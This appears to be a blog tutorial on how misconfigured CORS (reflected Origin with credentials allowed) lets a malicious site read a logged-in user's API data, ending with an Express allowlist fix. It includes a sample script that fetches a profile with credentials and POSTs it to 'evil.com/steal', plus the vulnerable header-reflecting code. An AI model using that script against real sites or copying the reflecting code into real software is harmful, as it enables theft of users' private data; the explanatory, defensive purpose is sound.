How Can a Hacker Abuse Poor CORS Configuration?
Basic High Level Flow
The attacker hijacks your authentication credentials (your cookie) – and uses that to call a sensitive API. If the API is callable from ‘all origins’, then it doesn’t care that it was evil.com javascript that called it. As long as it has the auth credentials (which is does, because the hacker hijacked those from your cookie), then – the attacker essentially calls the API and retrieves the data FROM HIS OWN SITE (evil.com). See details below.
How Can a Hacker Abuse Poor CORS Configuration?
Let’s walk through a realistic example, step by step.
Setup
You have:
- A frontend at
https://my.website.com - An API backend at
https://api.website.com
The backend allows:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ← Invalid and dangerous
Or worse — the server dynamically reflects the Origin header without validation:
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
The site uses session cookies for login. When a user logs in, their browser stores a cookie like:
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=None
That cookie is automatically included in all requests to https://api.website.com.
Step-by-Step Attack Scenario
1. The user logs in
A user visits https://my.website.com, enters their credentials, and logs in successfully. The session cookie is now stored in their browser.
2. The user visits a malicious site
The user later visits a hacker-controlled site like https://evil.com.
This site hosts a hidden script:
<script>
fetch("https://api.website.com/user/profile", {
method: "GET",
credentials: "include" // Include session cookie
})
.then(res => res.json())
.then(data => {
// Send stolen data to the attacker's server
fetch("https://evil.com/steal", {
method: "POST",
body: JSON.stringify(data)
});
});
</script>
3. What happens under the hood
Because the browser has a valid session cookie for https://api.website.com, it automatically includes it in the request from evil.com.
The browser sends:
Origin: https://evil.com Cookie: session=abc123
The backend — misconfigured to accept * or blindly echo back the Origin — replies with:
Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true
The browser sees that the CORS headers match, so it delivers the sensitive JSON response from your backend to the attacker’s JavaScript on evil.com.
4. Exfiltration complete
Now the attacker has access to:
- The user’s profile data
- Their account settings
- Possibly even PII or financial records (depending on your app)
All without ever prompting the user.
Real-World Consequences
Poor CORS setups have led to:
- Account takeovers by leaking session or auth information.
- Credential stuffing using stolen tokens.
- Reconnaissance of internal APIs by observing API behavior.
- Cross-site leakage of financial or healthcare data.
Proper CORS Protection to Prevent This
Here’s how to protect your users:
- Always validate the
Originheader against a list of trusted domains. - Never use
Access-Control-Allow-Origin: *together with credentials. - Only set
Access-Control-Allow-Credentials: trueif you’re sure the origin is trusted. - Don’t echo
Originunless you’re verifying it against an allowlist.
Example using Node.js and Express:
const allowedOrigins = ['https://my.website.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
next();
});
Leave a Reply